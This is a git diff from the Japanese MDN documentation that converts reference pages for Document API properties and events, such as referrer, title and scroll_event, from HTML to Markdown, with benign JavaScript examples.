"readystatechange")}} | {{Spec2("HTML WHATWG")}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.readystatechange_event")}} + +## 関連情報 + +- 関連イベント: {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Window/load_event", "load")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}} diff --git a/files/ja/web/api/document/referrer/index.html b/files/ja/web/api/document/referrer/index.html deleted file mode 100644 index 9d4d65a59915ed..00000000000000 --- a/files/ja/web/api/document/referrer/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Document.referrer -slug: Web/API/Document/referrer -tags: - - API - - Document - - HTML DOM - - Property - - Reference - - referrer - - プロパティ -translation_of: Web/API/Document/referrer ---- -
{{APIRef("DOM")}}
- -

Document.referrer プロパティは、このページへリンクしていたページの URI を返します。

- -

構文

- -
var referrer = document.referrer;
-
- -

- -

この値は、ユーザーが (リンクではなく、例えばブックマークから) ページに直接移動した場合は空文字列になります。プロパティはただ文字列を返すものであるため、参照先のページの DOM アクセスを提供するものではありません。

- -

{{HTMLElement("iframe")}} の中では、 Document.referrer は最初、親ウィンドウの {{domxref("Window/location", "Window.location")}} の {{domxref("HTMLHyperlinkElementUtils/href", "href")}} と同じ値が設定されます。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-referrer-dev', 'document.referrer')}}{{Spec2('HTML WHATWG')}}
- -

ブラウザーの互換性

- -
{{Compat("api.Document.referrer")}}
diff --git a/files/ja/web/api/document/referrer/index.md b/files/ja/web/api/document/referrer/index.md new file mode 100644 index 00000000000000..15e2f250b5097f --- /dev/null +++ b/files/ja/web/api/document/referrer/index.md @@ -0,0 +1,38 @@ +--- +title: Document.referrer +slug: Web/API/Document/referrer +tags: + - API + - Document + - HTML DOM + - Property + - Reference + - referrer + - プロパティ +translation_of: Web/API/Document/referrer +--- +{{APIRef("DOM")}} + +**`Document.referrer`** プロパティは、このページへリンクしていたページの [URI](http://www.w3.org/Addressing/#background) を返します。 + +## 構文 + +``` +var referrer = document.referrer; +``` + +### 値 + +この値は、ユーザーが (リンクではなく、例えばブックマークから) ページに直接移動した場合は空文字列になります。プロパティはただ文字列を返すものであるため、参照先のページの DOM アクセスを提供するものではありません。 + +{{HTMLElement("iframe")}} の中では、 `Document.referrer` は最初、親ウィンドウの {{domxref("Window/location", "Window.location")}} の {{domxref("HTMLHyperlinkElementUtils/href", "href")}} と同じ値が設定されます。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('HTML WHATWG', '#dom-document-referrer-dev', 'document.referrer')}} | {{Spec2('HTML WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.referrer")}} diff --git a/files/ja/web/api/document/releasecapture/index.md b/files/ja/web/api/document/releasecapture/index.md index c37b29c2d0017a..c86f3385d0e9f2 100644 --- a/files/ja/web/api/document/releasecapture/index.md +++ b/files/ja/web/api/document/releasecapture/index.md @@ -39,7 +39,7 @@ releaseCapture() Internet Explorer の実装に基づく。 -## ブラウザーの対応 +## ブラウザーの互換性 {{Compat}} diff --git a/files/ja/web/api/document/scripts/index.html b/files/ja/web/api/document/scripts/index.html deleted file mode 100644 index 1f62f7940fd907..00000000000000 --- a/files/ja/web/api/document/scripts/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Document.scripts -slug: Web/API/Document/scripts -tags: - - API - - Document - - HTML DOM - - Property - - Reference - - Script - - プロパティ -translation_of: Web/API/Document/scripts ---- -
{{APIRef("DOM")}}
- -

{{domxref("Document")}} インターフェイスの scripts プロパティは、文書中の {{HTMLElement("script")}} 要素のリストを返します。返されるオブジェクトは単一の {{domxref("HTMLCollection")}} オブジェクトです。

- -

構文

- -
var scriptList = document.scripts;
-
- -

- -

{{domxref("HTMLCollection")}} です。これを使用して、リスト中のすべての要素を配列のように取得することができます。

- -

- -

ページ内の {{HTMLElement("script")}} 要素の存在を確認する例を以下に示します。

- -
let scripts = document.scripts;
-
-if (scripts.length) {
-  alert("このページには script 要素があります。");
-}
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-scripts', 'Document.scripts')}}{{ Spec2('HTML WHATWG') }}
- -

ブラウザーの対応

- -
{{Compat("api.Document.scripts")}}
diff --git a/files/ja/web/api/document/scripts/index.md b/files/ja/web/api/document/scripts/index.md new file mode 100644 index 00000000000000..2a349dd0857cb2 --- /dev/null +++ b/files/ja/web/api/document/scripts/index.md @@ -0,0 +1,48 @@ +--- +title: Document.scripts +slug: Web/API/Document/scripts +tags: + - API + - Document + - HTML DOM + - Property + - Reference + - Script + - プロパティ +translation_of: Web/API/Document/scripts +--- +{{APIRef("DOM")}} + +{{domxref("Document")}} インターフェイスの **`scripts`** プロパティは、文書中の {{HTMLElement("script")}} 要素のリストを返します。返されるオブジェクトは単一の {{domxref("HTMLCollection")}} オブジェクトです。 + +## 構文 + +``` +var scriptList = document.scripts; +``` + +### 値 + +{{domxref("HTMLCollection")}} です。これを使用して、リスト中のすべての要素を配列のように取得することができます。 + +## 例 + +ページ内の {{HTMLElement("script")}} 要素の存在を確認する例を以下に示します。 + +```js +let scripts = document.scripts; + +if (scripts.length) { + alert("このページには script 要素があります。"); +} +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | ------------------------------------ | ---- | +| {{SpecName('HTML WHATWG', '#dom-document-scripts', 'Document.scripts')}} | {{ Spec2('HTML WHATWG') }} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.scripts")}} diff --git a/files/ja/web/api/document/scroll_event/index.html b/files/ja/web/api/document/scroll_event/index.html deleted file mode 100644 index 2363837779931d..00000000000000 --- a/files/ja/web/api/document/scroll_event/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: 'Document: scroll event' -slug: Web/API/Document/scroll_event -tags: - - API - - DOM - - Document - - Event - - Reference - - Scroll - - UIEvent -translation_of: Web/API/Document/scroll_event ---- -

{{APIRef}}

- -

scroll イベントは、ドキュメントのビューまたは要素がスクロールされたときに生じます。

- - - - - - - - - - - - - - - - - - - - - - -
バブリングはい
キャンセル可能いいえ
インターフェイス{{DOMxRef("Event")}}
イベントハンドラープロパティ{{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}}
- -
-

注: iOS UIWebViews では、スクロールされている最中は scroll イベントは生じません。スクロールが完了したあとにのみ生じます。 詳しくは Bootstrap issue #16202 をご覧ください。 Safari と WKWebViews ではこのバグは起きません。

-
- -

- -

スクロールイベントを抑制する

- -

scroll イベントは高い確率で生じることができるため、イベントハンドラーは DOM の変更といった計算上の処理コストの高い操作を実行すべきではありません。その代わり、次のように、 {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}} や、 {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} 、または {{DOMxRef("CustomEvent")}} を使ってイベントを抑制することが推奨されます。

- -

ただし、インプットイベントやアニメーションフレームは同じような確率で生じ、そのため下記のような最適化は不要の場合が多いことに注意してください。 この例では requestAnimationFramescroll を最適化しています。

- -
// Reference: http://www.html5rocks.com/en/tutorials/speed/animations/
-
-let last_known_scroll_position = 0;
-let ticking = false;
-
-function doSomething(scroll_pos) {
-  // Do something with the scroll position
-}
-
-window.addEventListener('scroll', function(e) {
-  last_known_scroll_position = window.scrollY;
-
-  if (!ticking) {
-    window.requestAnimationFrame(function() {
-      doSomething(last_known_scroll_position);
-      ticking = false;
-    });
-
-    ticking = true;
-  }
-});
- -

その他の類似の例を見るには、 resize イベントページをご覧ください。

- -

仕様

- - - - - - - - - - - - -
仕様書策定状況
{{SpecName('CSSOM View', '#scrolling-events')}}{{Spec2('CSSOM View')}}
- -

ブラウザー実装状況

- -

{{Compat("api.Document.scroll_event")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/scroll_event/index.md b/files/ja/web/api/document/scroll_event/index.md new file mode 100644 index 00000000000000..520d70600016de --- /dev/null +++ b/files/ja/web/api/document/scroll_event/index.md @@ -0,0 +1,90 @@ +--- +title: 'Document: scroll event' +slug: Web/API/Document/scroll_event +tags: + - API + - DOM + - Document + - Event + - Reference + - Scroll + - UIEvent +translation_of: Web/API/Document/scroll_event +--- +{{APIRef}} + +**`scroll`** イベントは、ドキュメントのビューまたは要素がスクロールされたときに生じます。 + + + + + + + + + + + + + + + + + + + + + +
バブリングはい
キャンセル可能いいえ
インターフェイス{{DOMxRef("Event")}}
イベントハンドラープロパティ + {{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}} +
+ +> **Note:** iOS UIWebViews では、スクロールされている最中は `scroll` イベントは生じません。スクロールが完了したあとにのみ生じます。 詳しくは [Bootstrap issue #16202](https://github.com/twbs/bootstrap/issues/16202) をご覧ください。 Safari と WKWebViews ではこのバグは起きません。 + +## 例 + +### スクロールイベントを抑制する + +`scroll` イベントは高い確率で生じることができるため、イベントハンドラーは DOM の変更といった計算上の処理コストの高い操作を実行すべきではありません。その代わり、次のように、 {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}} や、 {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} 、または {{DOMxRef("CustomEvent")}} を使ってイベントを抑制することが推奨されます。 + +ただし、インプットイベントやアニメーションフレームは同じような確率で生じ、そのため下記のような最適化は不要の場合が多いことに注意してください。 この例では `requestAnimationFrame` の `scroll` を最適化しています。 + +```js +// Reference: http://www.html5rocks.com/en/tutorials/speed/animations/ + +let last_known_scroll_position = 0; +let ticking = false; + +function doSomething(scroll_pos) { + // Do something with the scroll position +} + +window.addEventListener('scroll', function(e) { + last_known_scroll_position = window.scrollY; + + if (!ticking) { + window.requestAnimationFrame(function() { + doSomething(last_known_scroll_position); + ticking = false; + }); + + ticking = true; + } +}); +``` + +その他の類似の例を見るには、 [`resize`](/ja/docs/Web/API/Document/defaultView/resize_event) イベントページをご覧ください。 + +## 仕様 + +| 仕様書 | 策定状況 | +| ---------------------------------------------------------------- | -------------------------------- | +| {{SpecName('CSSOM View', '#scrolling-events')}} | {{Spec2('CSSOM View')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.scroll_event")}} + +## 関連情報 + +- [Element: `scroll` event](/ja/docs/Web/API/Element/scroll_event) diff --git a/files/ja/web/api/document/scrollingelement/index.html b/files/ja/web/api/document/scrollingelement/index.html deleted file mode 100644 index e44315b2521f59..00000000000000 --- a/files/ja/web/api/document/scrollingelement/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Document.scrollingElement -slug: Web/API/Document/scrollingElement -tags: - - API - - Document - - Property - - Reference - - scrollingElement -translation_of: Web/API/Document/scrollingElement ---- -
{{APIRef("DOM")}}
- -
- -
scrollingElement は、{{domxref("Document")}} インターフェースの読み込み専用プロパティです。
- -
スクロール可能な {{domxref("Element")}} の参照を返します。
- -
スタンダードモードでは、ドキュメントのルート要素である {{domxref("document.documentElement")}} になります。
- -
- -
後方互換モードでは、scrollingElement はHTMLの body 要素を返します。
- -
body 要素が存在しないか、それが スクロール可能 な場合は null を返します。
- -

構文

- -
var element = document.scrollingElement;
- -

- -
var scrollElm = document.scrollingElement;
-scrollElm.scrollTop = 0;
-
- -

仕様

- - - - - - - - - - - - - - -
仕様書策定状況コメント
{{SpecName('CSSOM View','#dom-document-scrollingelement','scrollingElement')}}{{Spec2('CSSOM View')}}Initial definition
- -

ブラウザー実装状況

- - - -

{{Compat("api.Document.scrollingElement")}}

diff --git a/files/ja/web/api/document/scrollingelement/index.md b/files/ja/web/api/document/scrollingelement/index.md new file mode 100644 index 00000000000000..318499dcc9cf01 --- /dev/null +++ b/files/ja/web/api/document/scrollingelement/index.md @@ -0,0 +1,35 @@ +--- +title: Document.scrollingElement +slug: Web/API/Document/scrollingElement +tags: + - API + - Document + - Property + - Reference + - scrollingElement +translation_of: Web/API/Document/scrollingElement +--- +{{APIRef("DOM")}}**`scrollingElement`** は、{{domxref("Document")}} インターフェースの読み込み専用プロパティです。スクロール可能な {{domxref("Element")}} の参照を返します。スタンダードモードでは、ドキュメントのルート要素である {{domxref("document.documentElement")}} になります。後方互換モードでは、`scrollingElement` は HTML の `body` 要素を返します。`body` 要素が存在しないか、それが [スクロール可能](https://drafts.csswg.org/cssom-view/#potentially-scrollable) な場合は null を返します。 + +## 構文 + +``` +var element = document.scrollingElement; +``` + +## 例 + +```js +var scrollElm = document.scrollingElement; +scrollElm.scrollTop = 0; +``` + +## 仕様 + +| 仕様書 | 策定状況 | コメント | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------ | +| {{SpecName('CSSOM View','#dom-document-scrollingelement','scrollingElement')}} | {{Spec2('CSSOM View')}} | Initial definition | + +## ブラウザーの互換性 + +{{Compat("api.Document.scrollingElement")}} diff --git a/files/ja/web/api/document/selectionchange_event/index.html b/files/ja/web/api/document/selectionchange_event/index.html deleted file mode 100644 index c255bf8328cb0f..00000000000000 --- a/files/ja/web/api/document/selectionchange_event/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 'Document: selectionchange イベント' -slug: Web/API/Document/selectionchange_event -tags: - - Event - - Reference - - Selection - - Selection API - - selectionchange -translation_of: Web/API/Document/selectionchange_event ---- -

{{APIRef}}

- -
-

selectionchange イベントは Selection API の一部で、文書における現在のテキストの選択が変更された際に発生します。

-
- - - - - - - - - - - - - - - - - - - - -
バブリングなし
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers.onselectionchange", "onselectionchange")}}
- -

- -
// addEventListener version
-document.addEventListener('selectionchange', () => {
-  console.log(document.getSelection());
-});
-
-// onselectionchange version
-document.onselectionchange = () => {
-  console.log(document.getSelection());
-};
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('Selection API', '#selectionchange-event', 'selectionchange')}}{{Spec2('Selection API')}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.selectionchange_event")}}

- -

関連情報

- -
    -
  • {{domxref("Document/selectstart_event", "selectstart")}}
  • -
  • {{domxref("Document/getSelection", "Document.getSelection")}}
  • -
  • {{domxref("Selection", "Selection")}}
  • -
diff --git a/files/ja/web/api/document/selectionchange_event/index.md b/files/ja/web/api/document/selectionchange_event/index.md new file mode 100644 index 00000000000000..bf1b44c604547c --- /dev/null +++ b/files/ja/web/api/document/selectionchange_event/index.md @@ -0,0 +1,67 @@ +--- +title: 'Document: selectionchange イベント' +slug: Web/API/Document/selectionchange_event +tags: + - Event + - Reference + - Selection + - Selection API + - selectionchange +translation_of: Web/API/Document/selectionchange_event +--- +{{APIRef}} + +**`selectionchange`** イベントは [Selection API](/ja/docs/Web/API/Selection_API) の一部で、文書における現在のテキストの選択が変更された際に発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers.onselectionchange", "onselectionchange")}} +
+ +## 例 + +```js +// addEventListener version +document.addEventListener('selectionchange', () => { + console.log(document.getSelection()); +}); + +// onselectionchange version +document.onselectionchange = () => { + console.log(document.getSelection()); +}; +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------- | ------------------------------------ | -------- | +| {{SpecName('Selection API', '#selectionchange-event', 'selectionchange')}} | {{Spec2('Selection API')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.selectionchange_event")}} + +## 関連情報 + +- {{domxref("Document/selectstart_event", "selectstart")}} +- {{domxref("Document/getSelection", "Document.getSelection")}} +- {{domxref("Selection", "Selection")}} diff --git a/files/ja/web/api/document/selectstart_event/index.html b/files/ja/web/api/document/selectstart_event/index.html deleted file mode 100644 index 3c07388e502ccb..00000000000000 --- a/files/ja/web/api/document/selectstart_event/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: 'Document: selectstart event' -slug: Web/API/Document/selectstart_event -translation_of: Web/API/Document/selectstart_event ---- -
{{APIRef}}
- -
-

Selection APIselectstart イベントは新しい選択範囲をユーザが指定した際に発火します。

- -

イベントがキャンセルされた場合、選択範囲は変更されません。

-
- - - - - - - - - - - - - - - - - - - - -
Bubbles有効
Cancelable有効
Interface{{domxref("Event")}}
Event handler property{{domxref("GlobalEventHandlers.onselectstart", "onselectstart")}}
- -

- -
// addEventListener version
-document.addEventListener('selectstart', () => {
-  console.log('Selection started');
-});
-
-// onselectstart version
-document.onselectstart = () => {
-  console.log('Selection changed.');
-};
-
- -

仕様

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Selection API', '#selectstart-event', 'selectstart')}}{{Spec2('Selection API')}}Initial definition.
- -

ブラウザ互換性

- -

{{Compat("api.Document.selectstart_event")}}

- -

参照

- -
    -
  • {{domxref("Document/selectionchange_event", "selectionchange")}}
  • -
diff --git a/files/ja/web/api/document/selectstart_event/index.md b/files/ja/web/api/document/selectstart_event/index.md new file mode 100644 index 00000000000000..0b78883adc5271 --- /dev/null +++ b/files/ja/web/api/document/selectstart_event/index.md @@ -0,0 +1,61 @@ +--- +title: 'Document: selectstart event' +slug: Web/API/Document/selectstart_event +translation_of: Web/API/Document/selectstart_event +--- +{{APIRef}} + +[Selection API](/ja/docs/Web/API/Selection) の **`selectstart`** イベントは新しい選択範囲をユーザが指定した際に発火します。 + +イベントがキャンセルされた場合、選択範囲は変更されません。 + + + + + + + + + + + + + + + + + + + + +
Bubbles有効
Cancelable有効
Interface{{domxref("Event")}}
Event handler property + {{domxref("GlobalEventHandlers.onselectstart", "onselectstart")}} +
+ +## 例 + +```js +// addEventListener version +document.addEventListener('selectstart', () => { + console.log('Selection started'); +}); + +// onselectstart version +document.onselectstart = () => { + console.log('Selection changed.'); +}; +``` + +## 仕様 + +| Specification | Status | Comment | +| ---------------------------------------------------------------------------------------- | ------------------------------------ | ------------------- | +| {{SpecName('Selection API', '#selectstart-event', 'selectstart')}} | {{Spec2('Selection API')}} | Initial definition. | + +## ブラウザ互換性 + +{{Compat("api.Document.selectstart_event")}} + +## 参照 + +- {{domxref("Document/selectionchange_event", "selectionchange")}} diff --git a/files/ja/web/api/document/stylesheets/index.html b/files/ja/web/api/document/stylesheets/index.html deleted file mode 100644 index ad0db7ce39ca2d..00000000000000 --- a/files/ja/web/api/document/stylesheets/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: DocumentOrShadowRoot.styleSheets -slug: Web/API/Document/styleSheets -tags: - - API - - Document - - DocumentOrShadowRoot - - Property - - Reference - - ShadowRoot - - Stylesheets - - shadow dom -translation_of: Web/API/DocumentOrShadowRoot/styleSheets -original_slug: Web/API/DocumentOrShadowRoot/styleSheets ---- -
{{SeeCompatTable}}{{APIRef("Shadow DOM")}}
- -

{{domxref("DocumentOrShadowRoot")}} インターフェイスの styleSheets 読み取り専用プロパティは、 {{domxref('CSSStyleSheet')}} オブジェクトの {{domxref('StyleSheetList')}} を返します。ドキュメントに明示的にリンクまたは埋め込まれたスタイルシートの場合。

- -

- -
function getStyleSheet(unique_title) {
-  for (var i=0; i<document.styleSheets.length; i++) {
-    var sheet = document.styleSheets[i];
-    if (sheet.title == unique_title) {
-      return sheet;
-    }
-  }
-}
-
- -

Notes

- -

返されるリストは次の順序で並べられます:

- -
    -
  • {{htmlelement("link")}} ヘッダから取得したスタイルシートが最初に配置され、ヘッダ順に並べ替えられます。
  • -
  • DOM から取得したスタイルシートは、ツリー順にソートされた後に配置されます。
  • -
- -

仕様

- - - - - - - - - - - - - - -
仕様ステータス備考
{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}{{Spec2('Shadow DOM')}}初回定義
- -

ブラウザー実装状況

- - - -

{{Compat("api.DocumentOrShadowRoot.styleSheets")}}

diff --git a/files/ja/web/api/document/stylesheets/index.md b/files/ja/web/api/document/stylesheets/index.md new file mode 100644 index 00000000000000..fe9f4ed8d876da --- /dev/null +++ b/files/ja/web/api/document/stylesheets/index.md @@ -0,0 +1,48 @@ +--- +title: DocumentOrShadowRoot.styleSheets +slug: Web/API/Document/styleSheets +tags: + - API + - Document + - DocumentOrShadowRoot + - Property + - Reference + - ShadowRoot + - Stylesheets + - shadow dom +translation_of: Web/API/DocumentOrShadowRoot/styleSheets +original_slug: Web/API/DocumentOrShadowRoot/styleSheets +--- +{{SeeCompatTable}}{{APIRef("Shadow DOM")}} + +{{domxref("DocumentOrShadowRoot")}} インターフェイスの **`styleSheets`** 読み取り専用プロパティは、 {{domxref('CSSStyleSheet')}} オブジェクトの {{domxref('StyleSheetList')}} を返します。ドキュメントに明示的にリンクまたは埋め込まれたスタイルシートの場合。 + +## 例 + +```js +function getStyleSheet(unique_title) { + for (var i=0; i{{APIRef("DOM")}}
- -

document.title プロパティは、現在の文書の題名を取得または設定します。

- -

構文

- -
var docTitle = document.title;
-
- -

docTitledocument の題名を含む文字列です。題名が document.title に設定することで上書きされている場合は、その値を含みます。そうでなければ、マークアップの中で指定された題名を含みます (下記のメモを参照)。

- -
document.title = newTitle;
-
- -

newTitle は文書の新しい題名です。代入すると、 document.title の返値、文書に表示される題名 (ウィンドウのタイトルバーやタブなど)、文書の DOM (HTML 文書の <title> 要素の内容など) にも反映されます。

- -

- -
<!DOCTYPE html>
-<html>
-<head>
-  <title>Hello World!</title>
-</head>
-<body>
-
-  <script>
-    alert(document.title); // "Hello World!" と表示
-    document.title = "Goodbye World!";
-    alert(document.title); // "Goodbye World!" と表示
-  </script>
-
-</body>
-</html>
-
- -

- -

Gecko では、このプロパティは HTML, SVG, XUL, その他の文書に適用されます。

- -

HTML 文書では、 document.title の初期値は <title> 要素のテキストの内容です。 XUL では、 {{XULElem("window")}} またはその他の最上位 XUL 要素の {{XULAttr("title")}} 属性の値です。

- -

XUL では、文書の読み込みが完了する前に document.title にアクセスした時の動作は未定義です。 document.title が空文字を返す場合があり、また document.title を設定しても効果が表れないかもしれません。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG','#document.title','document.title')}}{{Spec2('HTML WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.title")}}

diff --git a/files/ja/web/api/document/title/index.md b/files/ja/web/api/document/title/index.md new file mode 100644 index 00000000000000..018f9104d300ce --- /dev/null +++ b/files/ja/web/api/document/title/index.md @@ -0,0 +1,68 @@ +--- +title: Document.title +slug: Web/API/Document/title +tags: + - API + - Command API + - Document + - HTML DOM + - NeedsSpecTable + - Property + - Reference +translation_of: Web/API/Document/title +--- +{{APIRef("DOM")}} + +**`document.title`** プロパティは、現在の文書の[題名](/ja/docs/Web/HTML/Element/title)を取得または設定します。 + +## 構文 + +``` +var docTitle = document.title; +``` + +_docTitle_ は _document_ の題名を含む文字列です。題名が `document.title` に設定することで上書きされている場合は、その値を含みます。そうでなければ、マークアップの中で指定された題名を含みます (下記の[メモ](#notes)を参照)。 + +``` +document.title = newTitle; +``` + +`newTitle` は文書の新しい題名です。代入すると、 `document.title` の返値、文書に表示される題名 (ウィンドウのタイトルバーやタブなど)、文書の DOM (HTML 文書の `` 要素の内容など) にも反映されます。 + +## 例 + +```js +<!DOCTYPE html> +<html> +<head> + <title>Hello World! + + + + + + + +``` + +## 注 + +Gecko では、このプロパティは HTML, SVG, XUL, その他の文書に適用されます。 + +HTML 文書では、 `document.title` の初期値は `` 要素のテキストの内容です。 XUL では、 {{XULElem("window")}} またはその他の最上位 XUL 要素の {{XULAttr("title")}} 属性の値です。 + +XUL では、文書の読み込みが完了する前に `document.title` にアクセスした時の動作は未定義です。 `document.title` が空文字を返す場合があり、また `document.title` を設定しても効果が表れないかもしれません。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------ | -------------------------------- | ---- | +| {{SpecName('HTML WHATWG','#document.title','document.title')}} | {{Spec2('HTML WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.title")}} diff --git a/files/ja/web/api/document/tooltipnode/index.html b/files/ja/web/api/document/tooltipnode/index.html deleted file mode 100644 index e0fd684e9d2390..00000000000000 --- a/files/ja/web/api/document/tooltipnode/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Document.tooltipNode -slug: Web/API/Document/tooltipNode -tags: - - API - - 'API:Mozilla Extensions' - - DOM - - Draft - - Gecko - - Mozilla - - Non-standard - - Property - - Reference -translation_of: Web/API/Document/tooltipNode ---- -<p>{{APIRef("DOM")}}{{Non-standard_Header}}</p> - -<p><code><strong>Document.tooltipNode</strong></code> プロパティは、現在の {{XULElem("tooltip")}} の対象となるノードを返します。</p> - -<h2 id="Syntax" name="Syntax">構文</h2> - -<pre class="syntaxbox notranslate"><var>document</var>.tooltipNode;</pre> - -<h2 id="Specifications" name="Specifications">仕様書</h2> - -<p>XUL で定められたメソッドであり、標準仕様には含まれていません。{{Source("dom/public/idl/xul/nsIDOMXULDocument.idl#59", "nsIDOMXULDocument.idl")}} で定義されています。</p> - -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> - -<p>{{Compat("api.Document.tooltipNode")}}</p> diff --git a/files/ja/web/api/document/tooltipnode/index.md b/files/ja/web/api/document/tooltipnode/index.md new file mode 100644 index 00000000000000..65c050c38f028c --- /dev/null +++ b/files/ja/web/api/document/tooltipnode/index.md @@ -0,0 +1,32 @@ +--- +title: Document.tooltipNode +slug: Web/API/Document/tooltipNode +tags: + - API + - API:Mozilla Extensions + - DOM + - Draft + - Gecko + - Mozilla + - Non-standard + - Property + - Reference +translation_of: Web/API/Document/tooltipNode +--- +{{APIRef("DOM")}}{{Non-standard_Header}} + +**`Document.tooltipNode`** プロパティは、現在の {{XULElem("tooltip")}} の対象となるノードを返します。 + +## 構文 + +``` +document.tooltipNode; +``` + +## 仕様書 + +XUL で定められたメソッドであり、標準仕様には含まれていません。{{Source("dom/public/idl/xul/nsIDOMXULDocument.idl#59", "nsIDOMXULDocument.idl")}} で定義されています。 + +## ブラウザーの互換性 + +{{Compat("api.Document.tooltipNode")}} diff --git a/files/ja/web/api/document/touchcancel_event/index.html b/files/ja/web/api/document/touchcancel_event/index.html deleted file mode 100644 index 65f4e5423f0319..00000000000000 --- a/files/ja/web/api/document/touchcancel_event/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 'Document: touchcancel イベント' -slug: Web/API/Document/touchcancel_event -tags: - - Document - - Event - - Reference - - TouchEvent - - Web - - touchcancel -translation_of: Web/API/Document/touchcancel_event ---- -<div>{{APIRef}}</div> - -<p><span class="seoSummary"><code>touchcancel</code> イベントは、1つ以上のタッチ点が実装特有の規則で破棄されたとき (例えば、作成されたタッチ点の数が多すぎるなど) に発生します。</span></p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">バブリング</th> - <td>あり</td> - </tr> - <tr> - <th scope="row">キャンセル可能</th> - <td>いいえ</td> - </tr> - <tr> - <th scope="row">インターフェイス</th> - <td>{{domxref("TouchEvent")}}</td> - </tr> - <tr> - <th scope="row">イベントハンドラープロパティ</th> - <td>{{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}}</td> - </tr> - </tbody> -</table> - -<h2 id="Examples" name="Examples">例</h2> - -<p>これらのイベントのコード例は、指定のページ「<a href="/ja/docs/Web/API/Touch_events">タッチイベント</a>」で利用できます。</p> - -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> - -<p>{{Compat("api.Document.touchcancel_event")}}</p> - -<h2 id="See_also" name="See_also">関連情報</h2> - -<ul> - <li><a href="/ja/docs/Web/API/Touch_events">タッチイベント</a></li> - <li>{{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}}</li> - <li>{{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchcancel_event", "touchcancel")}}</li> -</ul> diff --git a/files/ja/web/api/document/touchcancel_event/index.md b/files/ja/web/api/document/touchcancel_event/index.md new file mode 100644 index 00000000000000..3ac059ec73d753 --- /dev/null +++ b/files/ja/web/api/document/touchcancel_event/index.md @@ -0,0 +1,52 @@ +--- +title: 'Document: touchcancel イベント' +slug: Web/API/Document/touchcancel_event +tags: + - Document + - Event + - Reference + - TouchEvent + - Web + - touchcancel +translation_of: Web/API/Document/touchcancel_event +--- +{{APIRef}} + +`touchcancel` イベントは、1 つ以上のタッチ点が実装特有の規則で破棄されたとき (例えば、作成されたタッチ点の数が多すぎるなど) に発生します。 + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td> + {{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}} + </td> + </tr> + </tbody> +</table> + +## 例 + +これらのイベントのコード例は、指定のページ「[タッチイベント](/ja/docs/Web/API/Touch_events)」で利用できます。 + +## ブラウザーの互換性 + +{{Compat("api.Document.touchcancel_event")}} + +## 関連情報 + +- [タッチイベント](/ja/docs/Web/API/Touch_events) +- {{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}} +- {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchcancel_event", "touchcancel")}} diff --git a/files/ja/web/api/document/touchend_event/index.html b/files/ja/web/api/document/touchend_event/index.html deleted file mode 100644 index 612b1effc8760a..00000000000000 --- a/files/ja/web/api/document/touchend_event/index.html +++ /dev/null @@ -1,57 